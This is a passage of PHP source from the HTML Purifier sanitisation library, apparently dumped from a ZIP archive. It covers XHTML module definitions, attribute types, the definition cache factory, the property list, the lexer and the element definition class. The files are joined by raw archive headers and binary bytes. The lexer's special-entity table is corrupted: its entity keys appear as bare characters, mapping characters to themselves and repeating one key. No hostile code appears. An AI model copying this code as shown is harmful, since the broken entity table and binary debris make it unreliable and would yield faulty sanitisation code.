$this->addElement('caption', false, 'Inline', 'Common');
$this->addElement(
'table',
'Block',
new HTMLPurifier_ChildDef_Table(),
'Common',
array(
'border' => 'Pixels',
'cellpadding' => 'Length',
'cellspacing' => 'Length',
'frame' => 'Enum#void,above,below,hsides,lhs,rhs,vsides,box,border',
'rules' => 'Enum#none,groups,rows,cols,all',
'summary' => 'Text',
'width' => 'Length'
)
);
// common attributes
$cell_align = array(
'align' => 'Enum#left,center,right,justify,char',
'charoff' => 'Length',
'valign' => 'Enum#top,middle,bottom,baseline',
);
$cell_t = array_merge(
array(
'abbr' => 'Text',
'colspan' => 'Number',
'rowspan' => 'Number',
// Apparently, as of HTML5 this attribute only applies
// to 'th' elements.
'scope' => 'Enum#row,col,rowgroup,colgroup',
),
$cell_align
);
$this->addElement('td', false, 'Flow', 'Common', $cell_t);
$this->addElement('th', false, 'Flow', 'Common', $cell_t);
$this->addElement('tr', false, 'Required: td | th', 'Common', $cell_align);
$cell_col = array_merge(
array(
'span' => 'Number',
'width' => 'MultiLength',
),
$cell_align
);
$this->addElement('col', false, 'Empty', 'Common', $cell_col);
$this->addElement('colgroup', false, 'Optional: col', 'Common', $cell_col);
$this->addElement('tbody', false, 'Required: tr', 'Common', $cell_align);
$this->addElement('thead', false, 'Required: tr', 'Common', $cell_align);
$this->addElement('tfoot', false, 'Required: tr', 'Common', $cell_align);
}
}
// vim: et sw=4 sts=4
PK j�$Zc��!� � 7 htmlpurifier/library/HTMLPurifier/HTMLModule/Object.phpnu �[��� <?php
/**
* XHTML 1.1 Object Module, defines elements for generic object inclusion
* @warning Users will commonly use <embed> to cater to legacy browsers: this
* module does not allow this sort of behavior
*/
class HTMLPurifier_HTMLModule_Object extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Object';
/**
* @type bool
*/
public $safe = false;
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$this->addElement(
'object',
'Inline',
'Optional: #PCDATA | Flow | param',
'Common',
array(
'archive' => 'URI',
'classid' => 'URI',
'codebase' => 'URI',
'codetype' => 'Text',
'data' => 'URI',
'declare' => 'Bool#declare',
'height' => 'Length',
'name' => 'CDATA',
'standby' => 'Text',
'tabindex' => 'Number',
'type' => 'ContentType',
'width' => 'Length'
)
);
$this->addElement(
'param',
false,
'Empty',
null,
array(
'id' => 'ID',
'name*' => 'Text',
'type' => 'Text',
'value' => 'Text',
'valuetype' => 'Enum#data,ref,object'
)
);
}
}
// vim: et sw=4 sts=4
PK j�$Z9g ;� � 5 htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.phpnu �[��� <?php
/**
* XHTML 1.1 Edit Module, defines editing-related elements. Text Extension
* Module.
*/
class HTMLPurifier_HTMLModule_Edit extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Edit';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$contents = 'Chameleon: #PCDATA | Inline ! #PCDATA | Flow';
$attr = array(
'cite' => 'URI',
// 'datetime' => 'Datetime', // not implemented
);
$this->addElement('del', 'Inline', $contents, 'Common', $attr);
$this->addElement('ins', 'Inline', $contents, 'Common', $attr);
}
// HTML 4.01 specifies that ins/del must not contain block
// elements when used in an inline context, chameleon is
// a complicated workaround to acheive this effect
// Inline context ! Block context (exclamation mark is
// separator, see getChildDef for parsing)
/**
* @type bool
*/
public $defines_child_def = true;
/**
* @param HTMLPurifier_ElementDef $def
* @return HTMLPurifier_ChildDef_Chameleon
*/
public function getChildDef($def)
{
if ($def->content_model_type != 'chameleon') {
return false;
}
$value = explode('!', $def->content_model);
return new HTMLPurifier_ChildDef_Chameleon($value[0], $value[1]);
}
}
// vim: et sw=4 sts=4
PK j�$Z��\u u 5 htmlpurifier/library/HTMLPurifier/HTMLModule/List.phpnu �[��� <?php
/**
* XHTML 1.1 List Module, defines list-oriented elements. Core Module.
*/
class HTMLPurifier_HTMLModule_List extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'List';
// According to the abstract schema, the List content set is a fully formed
// one or more expr, but it invariably occurs in an optional declaration
// so we're not going to do that subtlety. It might cause trouble
// if a user defines "List" and expects that multiple lists are
// allowed to be specified, but then again, that's not very intuitive.
// Furthermore, the actual XML Schema may disagree. Regardless,
// we don't have support for such nested expressions without using
// the incredibly inefficient and draconic Custom ChildDef.
/**
* @type array
*/
public $content_sets = array('Flow' => 'List');
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$ol = $this->addElement('ol', 'List', new HTMLPurifier_ChildDef_List(), 'Common');
$ul = $this->addElement('ul', 'List', new HTMLPurifier_ChildDef_List(), 'Common');
// XXX The wrap attribute is handled by MakeWellFormed. This is all
// quite unsatisfactory, because we generated this
// *specifically* for lists, and now a big chunk of the handling
// is done properly by the List ChildDef. So actually, we just
// want enough information to make autoclosing work properly,
// and then hand off the tricky stuff to the ChildDef.
$ol->wrap = 'li';
$ul->wrap = 'li';
$this->addElement('dl', 'List', 'Required: dt | dd', 'Common');
$this->addElement('li', false, 'Flow', 'Common');
$this->addElement('dd', false, 'Flow', 'Common');
$this->addElement('dt', false, 'Inline', 'Common');
}
}
// vim: et sw=4 sts=4
PK j�$Z�ӄ�� � ; htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.phpnu �[��� <?php
/**
* A "safe" object module. In theory, objects permitted by this module will
* be safe, and untrusted users can be allowed to embed arbitrary flash objects
* (maybe other types too, but only Flash is supported as of right now).
* Highly experimental.
*/
class HTMLPurifier_HTMLModule_SafeObject extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'SafeObject';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
// These definitions are not intrinsically safe: the attribute transforms
// are a vital part of ensuring safety.
$max = $config->get('HTML.MaxImgLength');
$object = $this->addElement(
'object',
'Inline',
'Optional: param | Flow | #PCDATA',
'Common',
array(
// While technically not required by the spec, we're forcing
// it to this value.
'type' => 'Enum#application/x-shockwave-flash',
'width' => 'Pixels#' . $max,
'height' => 'Pixels#' . $max,
'data' => 'URI#embedded',
'codebase' => new HTMLPurifier_AttrDef_Enum(
array(
'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0'
)
),
)
);
$object->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeObject();
$param = $this->addElement(
'param',
false,
'Empty',
false,
array(
'id' => 'ID',
'name*' => 'Text',
'value' => 'Text'
)
);
$param->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeParam();
$this->info_injector[] = 'SafeObject';
}
}
// vim: et sw=4 sts=4
PK j�$Z��� ? htmlpurifier/library/HTMLPurifier/HTMLModule/TargetNoopener.phpnu �[��� <?php
/**
* Module adds the target-based noopener attribute transformation to a tags. It
* is enabled by HTML.TargetNoopener
*/
class HTMLPurifier_HTMLModule_TargetNoopener extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'TargetNoopener';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config) {
$a = $this->addBlankElement('a');
$a->attr_transform_post[] = new HTMLPurifier_AttrTransform_TargetNoopener();
}
}
PK j�$Z �r� � 7 htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.phpnu �[��� <?php
/**
* XHTML 1.1 Iframe Module provides inline frames.
*
* @note This module is not considered safe unless an Iframe
* whitelisting mechanism is specified. Currently, the only
* such mechanism is %URL.SafeIframeRegexp
*/
class HTMLPurifier_HTMLModule_Iframe extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Iframe';
/**
* @type bool
*/
public $safe = false;
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
if ($config->get('HTML.SafeIframe')) {
$this->safe = true;
}
$this->addElement(
'iframe',
'Inline',
'Flow',
'Common',
array(
'src' => 'URI#embedded',
'width' => 'Length',
'height' => 'Length',
'name' => 'ID',
'scrolling' => 'Enum#yes,no,auto',
'frameborder' => 'Enum#0,1',
'longdesc' => 'URI',
'marginheight' => 'Pixels',
'marginwidth' => 'Pixels',
)
);
}
}
// vim: et sw=4 sts=4
PK j�$ZBD�0� � < htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.phpnu �[��� <?php
/**
* Module defines proprietary tags and attributes in HTML.
* @warning If this module is enabled, standards-compliance is off!
*/
class HTMLPurifier_HTMLModule_Proprietary extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Proprietary';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$this->addElement(
'marquee',
'Inline',
'Flow',
'Common',
array(
'direction' => 'Enum#left,right,up,down',
'behavior' => 'Enum#alternate',
'width' => 'Length',
'height' => 'Length',
'scrolldelay' => 'Number',
'scrollamount' => 'Number',
'loop' => 'Number',
'bgcolor' => 'Color',
'hspace' => 'Pixels',
'vspace' => 'Pixels',
)
);
}
}
// vim: et sw=4 sts=4
PK j�$Z��
< htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.phpnu �[��� <?php
/**
* Module adds the target=blank attribute transformation to a tags. It
* is enabled by HTML.TargetBlank
*/
class HTMLPurifier_HTMLModule_TargetBlank extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'TargetBlank';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$a = $this->addBlankElement('a');
$a->attr_transform_post[] = new HTMLPurifier_AttrTransform_TargetBlank();
}
}
// vim: et sw=4 sts=4
PK j�$Zi'(�W W 7 htmlpurifier/library/HTMLPurifier/HTMLModule/Target.phpnu �[��� <?php
/**
* XHTML 1.1 Target Module, defines target attribute in link elements.
*/
class HTMLPurifier_HTMLModule_Target extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Target';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$elements = array('a');
foreach ($elements as $name) {
$e = $this->addBlankElement($name);
$e->attr = array(
'target' => new HTMLPurifier_AttrDef_HTML_FrameTarget()
);
}
}
}
// vim: et sw=4 sts=4
PK j�$Z���pT T / htmlpurifier/library/HTMLPurifier/AttrTypes.phpnu �[��� <?php
/**
* Provides lookup array of attribute types to HTMLPurifier_AttrDef objects
*/
class HTMLPurifier_AttrTypes
{
/**
* Lookup array of attribute string identifiers to concrete implementations.
* @type HTMLPurifier_AttrDef[]
*/
protected $info = array();
/**
* Constructs the info array, supplying default implementations for attribute
* types.
*/
public function __construct()
{
// XXX This is kind of poor, since we don't actually /clone/
// instances; instead, we use the supplied make() attribute. So,
// the underlying class must know how to deal with arguments.
// With the old implementation of Enum, that ignored its
// arguments when handling a make dispatch, the IAlign
// definition wouldn't work.
// pseudo-types, must be instantiated via shorthand
$this->info['Enum'] = new HTMLPurifier_AttrDef_Enum();
$this->info['Bool'] = new HTMLPurifier_AttrDef_HTML_Bool();
$this->info['CDATA'] = new HTMLPurifier_AttrDef_Text();
$this->info['ID'] = new HTMLPurifier_AttrDef_HTML_ID();
$this->info['Length'] = new HTMLPurifier_AttrDef_HTML_Length();
$this->info['MultiLength'] = new HTMLPurifier_AttrDef_HTML_MultiLength();
$this->info['NMTOKENS'] = new HTMLPurifier_AttrDef_HTML_Nmtokens();
$this->info['Pixels'] = new HTMLPurifier_AttrDef_HTML_Pixels();
$this->info['Text'] = new HTMLPurifier_AttrDef_Text();
$this->info['URI'] = new HTMLPurifier_AttrDef_URI();
$this->info['LanguageCode'] = new HTMLPurifier_AttrDef_Lang();
$this->info['Color'] = new HTMLPurifier_AttrDef_HTML_Color();
$this->info['IAlign'] = self::makeEnum('top,middle,bottom,left,right');
$this->info['LAlign'] = self::makeEnum('top,bottom,left,right');
$this->info['FrameTarget'] = new HTMLPurifier_AttrDef_HTML_FrameTarget();
// unimplemented aliases
$this->info['ContentType'] = new HTMLPurifier_AttrDef_Text();
$this->info['ContentTypes'] = new HTMLPurifier_AttrDef_Text();
$this->info['Charsets'] = new HTMLPurifier_AttrDef_Text();
$this->info['Character'] = new HTMLPurifier_AttrDef_Text();
// "proprietary" types
$this->info['Class'] = new HTMLPurifier_AttrDef_HTML_Class();
// number is really a positive integer (one or more digits)
// FIXME: ^^ not always, see start and value of list items
$this->info['Number'] = new HTMLPurifier_AttrDef_Integer(false, false, true);
}
private static function makeEnum($in)
{
return new HTMLPurifier_AttrDef_Clone(new HTMLPurifier_AttrDef_Enum(explode(',', $in)));
}
/**
* Retrieves a type
* @param string $type String type name
* @return HTMLPurifier_AttrDef Object AttrDef for type
*/
public function get($type)
{
// determine if there is any extra info tacked on
if (strpos($type, '#') !== false) {
list($type, $string) = explode('#', $type, 2);
} else {
$string = '';
}
if (!isset($this->info[$type])) {
trigger_error('Cannot retrieve undefined attribute type ' . $type, E_USER_ERROR);
return;
}
return $this->info[$type]->make($string);
}
/**
* Sets a new implementation for a type
* @param string $type String type name
* @param HTMLPurifier_AttrDef $impl Object AttrDef for type
*/
public function set($type, $impl)
{
$this->info[$type] = $impl;
}
}
// vim: et sw=4 sts=4
PK j�$ZF�� � < htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.phpnu �[��� <?php
/**
* Responsible for creating definition caches.
*/
class HTMLPurifier_DefinitionCacheFactory
{
/**
* @type array
*/
protected $caches = array('Serializer' => array());
/**
* @type array
*/
protected $implementations = array();
/**
* @type HTMLPurifier_DefinitionCache_Decorator[]
*/
protected $decorators = array();
/**
* Initialize default decorators
*/
public function setup()
{
$this->addDecorator('Cleanup');
}
/**
* Retrieves an instance of global definition cache factory.
* @param HTMLPurifier_DefinitionCacheFactory $prototype
* @return HTMLPurifier_DefinitionCacheFactory
*/
public static function instance($prototype = null)
{
static $instance;
if ($prototype !== null) {
$instance = $prototype;
} elseif ($instance === null || $prototype === true) {
$instance = new HTMLPurifier_DefinitionCacheFactory();
$instance->setup();
}
return $instance;
}
/**
* Registers a new definition cache object
* @param string $short Short name of cache object, for reference
* @param string $long Full class name of cache object, for construction
*/
public function register($short, $long)
{
$this->implementations[$short] = $long;
}
/**
* Factory method that creates a cache object based on configuration
* @param string $type Name of definitions handled by cache
* @param HTMLPurifier_Config $config Config instance
* @return mixed
*/
public function create($type, $config)
{
$method = $config->get('Cache.DefinitionImpl');
if ($method === null) {
return new HTMLPurifier_DefinitionCache_Null($type);
}
if (!empty($this->caches[$method][$type])) {
return $this->caches[$method][$type];
}
if (isset($this->implementations[$method]) &&
class_exists($class = $this->implementations[$method], false)) {
$cache = new $class($type);
} else {
if ($method != 'Serializer') {
trigger_error("Unrecognized DefinitionCache $method, using Serializer instead", E_USER_WARNING);
}
$cache = new HTMLPurifier_DefinitionCache_Serializer($type);
}
foreach ($this->decorators as $decorator) {
$new_cache = $decorator->decorate($cache);
// prevent infinite recursion in PHP 4
unset($cache);
$cache = $new_cache;
}
$this->caches[$method][$type] = $cache;
return $this->caches[$method][$type];
}
/**
* Registers a decorator to add to all new cache objects
* @param HTMLPurifier_DefinitionCache_Decorator|string $decorator An instance or the name of a decorator
*/
public function addDecorator($decorator)
{
if (is_string($decorator)) {
$class = "HTMLPurifier_DefinitionCache_Decorator_$decorator";
$decorator = new $class;
}
$this->decorators[$decorator->name] = $decorator;
}
}
// vim: et sw=4 sts=4
PK j�$ZO���
�
2 htmlpurifier/library/HTMLPurifier/PropertyList.phpnu �[��� <?php
/**
* Generic property list implementation
*/
class HTMLPurifier_PropertyList
{
/**
* Internal data-structure for properties.
* @type array
*/
protected $data = array();
/**
* Parent plist.
* @type HTMLPurifier_PropertyList
*/
protected $parent;
/**
* Cache.
* @type array
*/
protected $cache;
/**
* @param HTMLPurifier_PropertyList $parent Parent plist
*/
public function __construct($parent = null)
{
$this->parent = $parent;
}
/**
* Recursively retrieves the value for a key
* @param string $name
* @throws HTMLPurifier_Exception
*/
public function get($name)
{
if ($this->has($name)) {
return $this->data[$name];
}
// possible performance bottleneck, convert to iterative if necessary
if ($this->parent) {
return $this->parent->get($name);
}
throw new HTMLPurifier_Exception("Key '$name' not found");
}
/**
* Sets the value of a key, for this plist
* @param string $name
* @param mixed $value
*/
public function set($name, $value)
{
$this->data[$name] = $value;
}
/**
* Returns true if a given key exists
* @param string $name
* @return bool
*/
public function has($name)
{
return array_key_exists($name, $this->data);
}
/**
* Resets a value to the value of it's parent, usually the default. If
* no value is specified, the entire plist is reset.
* @param string $name
*/
public function reset($name = null)
{
if ($name == null) {
$this->data = array();
} else {
unset($this->data[$name]);
}
}
/**
* Squashes this property list and all of its property lists into a single
* array, and returns the array. This value is cached by default.
* @param bool $force If true, ignores the cache and regenerates the array.
* @return array
*/
public function squash($force = false)
{
if ($this->cache !== null && !$force) {
return $this->cache;
}
if ($this->parent) {
return $this->cache = array_merge($this->parent->squash($force), $this->data);
} else {
return $this->cache = $this->data;
}
}
/**
* Returns the parent plist.
* @return HTMLPurifier_PropertyList
*/
public function getParent()
{
return $this->parent;
}
/**
* Sets the parent plist.
* @param HTMLPurifier_PropertyList $plist Parent plist
*/
public function setParent($plist)
{
$this->parent = $plist;
}
}
// vim: et sw=4 sts=4
PK j�$Z��z4 z4 + htmlpurifier/library/HTMLPurifier/Lexer.phpnu �[��� <?php
/**
* Forgivingly lexes HTML (SGML-style) markup into tokens.
*
* A lexer parses a string of SGML-style markup and converts them into
* corresponding tokens. It doesn't check for well-formedness, although its
* internal mechanism may make this automatic (such as the case of
* HTMLPurifier_Lexer_DOMLex). There are several implementations to choose
* from.
*
* A lexer is HTML-oriented: it might work with XML, but it's not
* recommended, as we adhere to a subset of the specification for optimization
* reasons. This might change in the future. Also, most tokenizers are not
* expected to handle DTDs or PIs.
*
* This class should not be directly instantiated, but you may use create() to
* retrieve a default copy of the lexer. Being a supertype, this class
* does not actually define any implementation, but offers commonly used
* convenience functions for subclasses.
*
* @note The unit tests will instantiate this class for testing purposes, as
* many of the utility functions require a class to be instantiated.
* This means that, even though this class is not runnable, it will
* not be declared abstract.
*
* @par
*
* @note
* We use tokens rather than create a DOM representation because DOM would:
*
* @par
* -# Require more processing and memory to create,
* -# Is not streamable, and
* -# Has the entire document structure (html and body not needed).
*
* @par
* However, DOM is helpful in that it makes it easy to move around nodes
* without a lot of lookaheads to see when a tag is closed. This is a
* limitation of the token system and some workarounds would be nice.
*/
class HTMLPurifier_Lexer
{
/**
* Whether or not this lexer implements line-number/column-number tracking.
* If it does, set to true.
*/
public $tracksLineNumbers = false;
// -- STATIC ----------------------------------------------------------
/**
* Retrieves or sets the default Lexer as a Prototype Factory.
*
* By default HTMLPurifier_Lexer_DOMLex will be returned. There are
* a few exceptions involving special features that only DirectLex
* implements.
*
* @note The behavior of this class has changed, rather than accepting
* a prototype object, it now accepts a configuration object.
* To specify your own prototype, set %Core.LexerImpl to it.
* This change in behavior de-singletonizes the lexer object.
*
* @param HTMLPurifier_Config $config
* @return HTMLPurifier_Lexer
* @throws HTMLPurifier_Exception
*/
public static function create($config)
{
if (!($config instanceof HTMLPurifier_Config)) {
$lexer = $config;
trigger_error(
"Passing a prototype to
HTMLPurifier_Lexer::create() is deprecated, please instead
use %Core.LexerImpl",
E_USER_WARNING
);
} else {
$lexer = $config->get('Core.LexerImpl');
}
$needs_tracking =
$config->get('Core.MaintainLineNumbers') ||
$config->get('Core.CollectErrors');
$inst = null;
if (is_object($lexer)) {
$inst = $lexer;
} else {
if (is_null($lexer)) {
do {
// auto-detection algorithm
if ($needs_tracking) {
$lexer = 'DirectLex';
break;
}
if (class_exists('DOMDocument', false) &&
method_exists('DOMDocument', 'loadHTML') &&
!extension_loaded('domxml')
) {
// check for DOM support, because while it's part of the
// core, it can be disabled compile time. Also, the PECL
// domxml extension overrides the default DOM, and is evil
// and nasty and we shan't bother to support it
$lexer = 'DOMLex';
} else {
$lexer = 'DirectLex';
}
} while (0);
} // do..while so we can break
// instantiate recognized string names
switch ($lexer) {
case 'DOMLex':
$inst = new HTMLPurifier_Lexer_DOMLex();
break;
case 'DirectLex':
$inst = new HTMLPurifier_Lexer_DirectLex();
break;
case 'PH5P':
$inst = new HTMLPurifier_Lexer_PH5P();
break;
default:
throw new HTMLPurifier_Exception(
"Cannot instantiate unrecognized Lexer type " .
htmlspecialchars($lexer)
);
}
}
if (!$inst) {
throw new HTMLPurifier_Exception('No lexer was instantiated');
}
// once PHP DOM implements native line numbers, or we
// hack out something using XSLT, remove this stipulation
if ($needs_tracking && !$inst->tracksLineNumbers) {
throw new HTMLPurifier_Exception(
'Cannot use lexer that does not support line numbers with ' .
'Core.MaintainLineNumbers or Core.CollectErrors (use DirectLex instead)'
);
}
return $inst;
}
// -- CONVENIENCE MEMBERS ---------------------------------------------
public function __construct()
{
$this->_entity_parser = new HTMLPurifier_EntityParser();
}
/**
* Most common entity to raw value conversion table for special entities.
* @type array
*/
protected $_special_entity2str =
array(
'"' => '"',
'&' => '&',
'<' => '<',
'>' => '>',
''' => "'",
''' => "'",
''' => "'"
);
public function parseText($string, $config) {
return $this->parseData($string, false, $config);
}
public function parseAttr($string, $config) {
return $this->parseData($string, true, $config);
}
/**
* Parses special entities into the proper characters.
*
* This string will translate escaped versions of the special characters
* into the correct ones.
*
* @param string $string String character data to be parsed.
* @return string Parsed character data.
*/
public function parseData($string, $is_attr, $config)
{
// following functions require at least one character
if ($string === '') {
return '';
}
// subtracts amps that cannot possibly be escaped
$num_amp = substr_count($string, '&') - substr_count($string, '& ') -
($string[strlen($string) - 1] === '&' ? 1 : 0);
if (!$num_amp) {
return $string;
} // abort if no entities
$num_esc_amp = substr_count($string, '&');
$string = strtr($string, $this->_special_entity2str);
// code duplication for sake of optimization, see above
$num_amp_2 = substr_count($string, '&') - substr_count($string, '& ') -
($string[strlen($string) - 1] === '&' ? 1 : 0);
if ($num_amp_2 <= $num_esc_amp) {
return $string;
}
// hmm... now we have some uncommon entities. Use the callback.
if ($config->get('Core.LegacyEntityDecoder')) {
$string = $this->_entity_parser->substituteSpecialEntities($string);
} else {
if ($is_attr) {
$string = $this->_entity_parser->substituteAttrEntities($string);
} else {
$string = $this->_entity_parser->substituteTextEntities($string);
}
}
return $string;
}
/**
* Lexes an HTML string into tokens.
* @param $string String HTML.
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token[] array representation of HTML.
*/
public function tokenizeHTML($string, $config, $context)
{
trigger_error('Call to abstract class', E_USER_ERROR);
}
/**
* Translates CDATA sections into regular sections (through escaping).
* @param string $string HTML string to process.
* @return string HTML with CDATA sections escaped.
*/
protected static function escapeCDATA($string)
{
return preg_replace_callback(
'/<!\[CDATA\[(.+?)\]\]>/s',
array('HTMLPurifier_Lexer', 'CDATACallback'),
$string
);
}
/**
* Special CDATA case that is especially convoluted for <script>
* @param string $string HTML string to process.
* @return string HTML with CDATA sections escaped.
*/
protected static function escapeCommentedCDATA($string)
{
return preg_replace_callback(
'#<!--//--><!\[CDATA\[//><!--(.+?)//--><!\]\]>#s',
array('HTMLPurifier_Lexer', 'CDATACallback'),
$string
);
}
/**
* Special Internet Explorer conditional comments should be removed.
* @param string $string HTML string to process.
* @return string HTML with conditional comments removed.
*/
protected static function removeIEConditional($string)
{
return preg_replace(
'#<!--\[if [^>]+\]>.*?<!\[endif\]-->#si', // probably should generalize for all strings
'',
$string
);
}
/**
* Callback function for escapeCDATA() that does the work.
*
* @warning Though this is public in order to let the callback happen,
* calling it directly is not recommended.
* @param array $matches PCRE matches array, with index 0 the entire match
* and 1 the inside of the CDATA section.
* @return string Escaped internals of the CDATA section.
*/
protected static function CDATACallback($matches)
{
// not exactly sure why the character set is needed, but whatever
return htmlspecialchars($matches[1], ENT_COMPAT, 'UTF-8');
}
/**
* Takes a piece of HTML and normalizes it by converting entities, fixing
* encoding, extracting bits, and other good stuff.
* @param string $html HTML.
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
* @todo Consider making protected
*/
public function normalize($html, $config, $context)
{
// normalize newlines to \n
if ($config->get('Core.NormalizeNewlines')) {
$html = str_replace("\r\n", "\n", $html);
$html = str_replace("\r", "\n", $html);
}
if ($config->get('HTML.Trusted')) {
// escape convoluted CDATA
$html = $this->escapeCommentedCDATA($html);
}
// escape CDATA
$html = $this->escapeCDATA($html);
$html = $this->removeIEConditional($html);
// extract body from document if applicable
if ($config->get('Core.ConvertDocumentToFragment')) {
$e = false;
if ($config->get('Core.CollectErrors')) {
$e =& $context->get('ErrorCollector');
}
$new_html = $this->extractBody($html);
if ($e && $new_html != $html) {
$e->send(E_WARNING, 'Lexer: Extracted body');
}
$html = $new_html;
}
// expand entities that aren't the big five
if ($config->get('Core.LegacyEntityDecoder')) {
$html = $this->_entity_parser->substituteNonSpecialEntities($html);
}
// clean into wellformed UTF-8 string for an SGML context: this has
// to be done after entity expansion because the entities sometimes
// represent non-SGML characters (horror, horror!)
$html = HTMLPurifier_Encoder::cleanUTF8($html);
// if processing instructions are to removed, remove them now
if ($config->get('Core.RemoveProcessingInstructions')) {
$html = preg_replace('#<\?.+?\?>#s', '', $html);
}
$hidden_elements = $config->get('Core.HiddenElements');
if ($config->get('Core.AggressivelyRemoveScript') &&
!($config->get('HTML.Trusted') || !$config->get('Core.RemoveScriptContents')
|| empty($hidden_elements["script"]))) {
$html = preg_replace('#<script[^>]*>.*?</script>#i', '', $html);
}
return $html;
}
/**
* Takes a string of HTML (fragment or document) and returns the content
* @todo Consider making protected
*/
public function extractBody($html)
{
$matches = array();
$result = preg_match('|(.*?)<body[^>]*>(.*)</body>|is', $html, $matches);
if ($result) {
// Make sure it's not in a comment
$comment_start = strrpos($matches[1], '<!--');
$comment_end = strrpos($matches[1], '-->');
if ($comment_start === false ||
($comment_end !== false && $comment_end > $comment_start)) {
return $matches[2];
}
}
return $html;
}
}
// vim: et sw=4 sts=4
PK j�$Z�n�;c c 0 htmlpurifier/library/HTMLPurifier/ElementDef.phpnu �[��� <?php
/**
* Structure that stores an HTML element definition. Used by
* HTMLPurifier_HTMLDefinition and HTMLPurifier_HTMLModule.
* @note This class is inspected by HTMLPurifier_Printer_HTMLDefinition.
* Please update that class too.
* @warning If you add new properties to this class, you MUST update
* the mergeIn() method.
*/
class HTMLPurifier_ElementDef
{
/**
* Does the definition work by itself, or is it created solely
* for the purpose of merging into another definition?
* @type bool
*/
public $standalone = true;
/**
* Associative array of attribute name to HTMLPurifier_AttrDef.
* @type array
* @note Before being processed by HTMLPurifier_AttrCollections
* when modules are finalized during
* HTMLPurifier_HTMLDefinition->setup(), this array may also
* contain an array at index 0 that indicates which attribute
* collections to load into the full array. It may also
* contain string indentifiers in lieu of HTMLPurifier_AttrDef,
* see HTMLPurifier_AttrTypes on how they are expanded during
* HTMLPurifier_HTMLDefinition->setup() processing.
*/
public $attr = array();
// XXX: Design note: currently, it's not possible to override
// previously defined AttrTransforms without messing around with
// the final generated config. This is by design; a previous version
// used an associated list of attr_transform, but it was extremely
// easy to accidentally override other attribute transforms by
// forgetting to specify an index (and just using 0.) While we
// could check this by checking the index number and complaining,
// there is a second problem which is that it is not at all easy to
// tell when something is getting overridden. Combine this with a
// codebase where this isn't really being used, and it's perfect for
// nuking.
/**
* List of tags HTMLPurifier_AttrTransform to be done before validation.
* @type array
*/
public $attr_transform_pre = array();
/**
* List of tags HTMLPurifier_AttrTransform to be done after validation.
* @type array
*/
public $attr_transform_post = array();
/**
* HTMLPurifier_ChildDef of this tag.
* @type HTMLPurifier_ChildDef
*/
public $child;
/**
* Abstract string representation of internal ChildDef rules.
* @see HTMLPurifier_ContentSets for how this is parsed and then transformed
* into an HTMLPurifier_ChildDef.
* @warning This is a temporary variable that is not available after
* being processed by HTMLDefinition
* @type string
*/
public $content_model;
/**
* Value of $child->type, used to determine which ChildDef to use,
* used in combination with $content_model.
* @warning This must be lowercase
* @warning This is a temporary variable that is not available after
* being processed by HTMLDefinition
* @type string
*/
public $content_model_type;
/**
* Does the element have a content model (#PCDATA | Inline)*? This
* is important for chameleon ins and del processing in
* HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't
* have to worry about this one.
* @type bool
*/
public $descendants_are_inline = false;
/**
* List of the names of required attributes this element has.
* Dynamically populated by HTMLPurifier_HTMLDefinition::getElement()
* @type array
*/
public $required_attr = array();
/**
* Lookup table of tags excluded from all descendants of this tag.
* @type array
* @note SGML permits exclusions for all descendants, but this is
* not possible with DTDs or XML Schemas. W3C has elected to
* use complicated compositions of content_models to simulate
* exclusion for children, but we go the simpler, SGML-style
* route of flat-out exclusions, which correctly apply to
* all descendants and not just children. Note that the XHTML
* Modularization Abstract Modules are blithely unaware of such
* distinctions.
*/
public $excludes = array();
/**
* This tag is explicitly auto-closed by the following tags.
* @type array
*/
public $autoclose = array();
/**
* If a foreign element is found in this element, test if it is
* allowed by this sub-element; if it is, instead of closing the
* current element, place it inside this element.
* @type string
*/
public $wrap;
/**
* Whether or not this is a formatting element affected by the
* "Active Formatting Elements" algorithm.
* @type bool
*/
public $formatting;
/**
* Low-level factory constructor for creating new standalone element defs
*/
public static function create($content_model, $content_model_type, $attr)
{
$def = new HTMLPurifier_ElementDef();
$def->content_model = $content_model;
$def->content_model_type = $content_model_type;
$def->attr = $attr;
return $def;
}
/**
* Merges the values of another element definition into this one.
* Values from the new element def take precedence if a value is
* not mergeable.
* @param HTMLPurifier_ElementDef $def
*/
public function mergeIn($def)
{
// later keys takes precedence
foreach ($def->attr as $k => $v) {
if ($k === 0) {
// merge in the includes
// sorry, no way to override an include
foreach ($v as $v2) {
$this->attr[0][] = $v2;
}
continue;
}
if ($v === false) {
if (isset($this->attr[$k])) {
unset($this->attr[$k]);
}
continue;
}
$this->attr[$k] = $v;
}
$this->_mergeAssocArray($this->excludes, $def->excludes);
$this->attr_transform_pre = array_merge($this->attr_transform_pre, $def->attr_transform_pre);
$this->attr_transform_post = array_merge($this->attr_transform_post, $def->attr_transform_post);
